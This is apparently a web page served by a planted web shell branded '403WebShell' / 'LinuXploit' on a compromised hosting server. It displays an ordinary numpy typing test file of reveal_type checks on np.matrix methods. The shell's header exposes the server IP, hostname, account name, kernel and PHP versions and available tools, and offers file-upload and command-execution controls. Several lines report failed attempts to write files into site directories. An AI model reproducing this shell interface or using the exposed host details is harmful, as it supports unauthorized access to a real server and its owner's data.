Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.170.164
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/numpy/typing/tests/data/reveal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/numpy/typing/tests/data/reveal/matrix.pyi
from typing import Any
import numpy as np
import numpy.typing as npt

mat: np.matrix[Any, np.dtype[np.int64]]
ar_f8: npt.NDArray[np.float64]

reveal_type(mat * 5)  # E: matrix[Any, Any]
reveal_type(5 * mat)  # E: matrix[Any, Any]
mat *= 5

reveal_type(mat**5)  # E: matrix[Any, Any]
mat **= 5

reveal_type(mat.sum())  # E: Any
reveal_type(mat.mean())  # E: Any
reveal_type(mat.std())  # E: Any
reveal_type(mat.var())  # E: Any
reveal_type(mat.prod())  # E: Any
reveal_type(mat.any())  # E: bool_
reveal_type(mat.all())  # E: bool_
reveal_type(mat.max())  # E: {int64}
reveal_type(mat.min())  # E: {int64}
reveal_type(mat.argmax())  # E: {intp}
reveal_type(mat.argmin())  # E: {intp}
reveal_type(mat.ptp())  # E: {int64}

reveal_type(mat.sum(axis=0))  # E: matrix[Any, Any]
reveal_type(mat.mean(axis=0))  # E: matrix[Any, Any]
reveal_type(mat.std(axis=0))  # E: matrix[Any, Any]
reveal_type(mat.var(axis=0))  # E: matrix[Any, Any]
reveal_type(mat.prod(axis=0))  # E: matrix[Any, Any]
reveal_type(mat.any(axis=0))  # E: matrix[Any, dtype[bool_]]
reveal_type(mat.all(axis=0))  # E: matrix[Any, dtype[bool_]]
reveal_type(mat.max(axis=0))  # E: matrix[Any, dtype[{int64}]]
reveal_type(mat.min(axis=0))  # E: matrix[Any, dtype[{int64}]]
reveal_type(mat.argmax(axis=0))  # E: matrix[Any, dtype[{intp}]]
reveal_type(mat.argmin(axis=0))  # E: matrix[Any, dtype[{intp}]]
reveal_type(mat.ptp(axis=0))  # E: matrix[Any, dtype[{int64}]]

reveal_type(mat.sum(out=ar_f8))  # E: ndarray[Any, dtype[{float64}]]
reveal_type(mat.mean(out=ar_f8))  # E: ndarray[Any, dtype[{float64}]]
reveal_type(mat.std(out=ar_f8))  # E: ndarray[Any, dtype[{float64}]]
reveal_type(mat.var(out=ar_f8))  # E: ndarray[Any, dtype[{float64}]]
reveal_type(mat.prod(out=ar_f8))  # E: ndarray[Any, dtype[{float64}]]
reveal_type(mat.any(out=ar_f8))  # E: ndarray[Any, dtype[{float64}]]
reveal_type(mat.all(out=ar_f8))  # E: ndarray[Any, dtype[{float64}]]
reveal_type(mat.max(out=ar_f8))  # E: ndarray[Any, dtype[{float64}]]
reveal_type(mat.min(out=ar_f8))  # E: ndarray[Any, dtype[{float64}]]
reveal_type(mat.argmax(out=ar_f8))  # E: ndarray[Any, dtype[{float64}]]
reveal_type(mat.argmin(out=ar_f8))  # E: ndarray[Any, dtype[{float64}]]
reveal_type(mat.ptp(out=ar_f8))  # E: ndarray[Any, dtype[{float64}]]

reveal_type(mat.T)  # E: matrix[Any, dtype[{int64}]]
reveal_type(mat.I)  # E: matrix[Any, Any]
reveal_type(mat.A)  # E: ndarray[Any, dtype[{int64}]]
reveal_type(mat.A1)  # E: ndarray[Any, dtype[{int64}]]
reveal_type(mat.H)  # E: matrix[Any, dtype[{int64}]]
reveal_type(mat.getT())  # E: matrix[Any, dtype[{int64}]]
reveal_type(mat.getI())  # E: matrix[Any, Any]
reveal_type(mat.getA())  # E: ndarray[Any, dtype[{int64}]]
reveal_type(mat.getA1())  # E: ndarray[Any, dtype[{int64}]]
reveal_type(mat.getH())  # E: matrix[Any, dtype[{int64}]]

reveal_type(np.bmat(ar_f8))  # E: matrix[Any, Any]
reveal_type(np.bmat([[0, 1, 2]]))  # E: matrix[Any, Any]
reveal_type(np.bmat("mat"))  # E: matrix[Any, Any]

reveal_type(np.asmatrix(ar_f8, dtype=np.int64))  # E: matrix[Any, Any]

Youez - 2016 - github.com/yon3zu
LinuXploit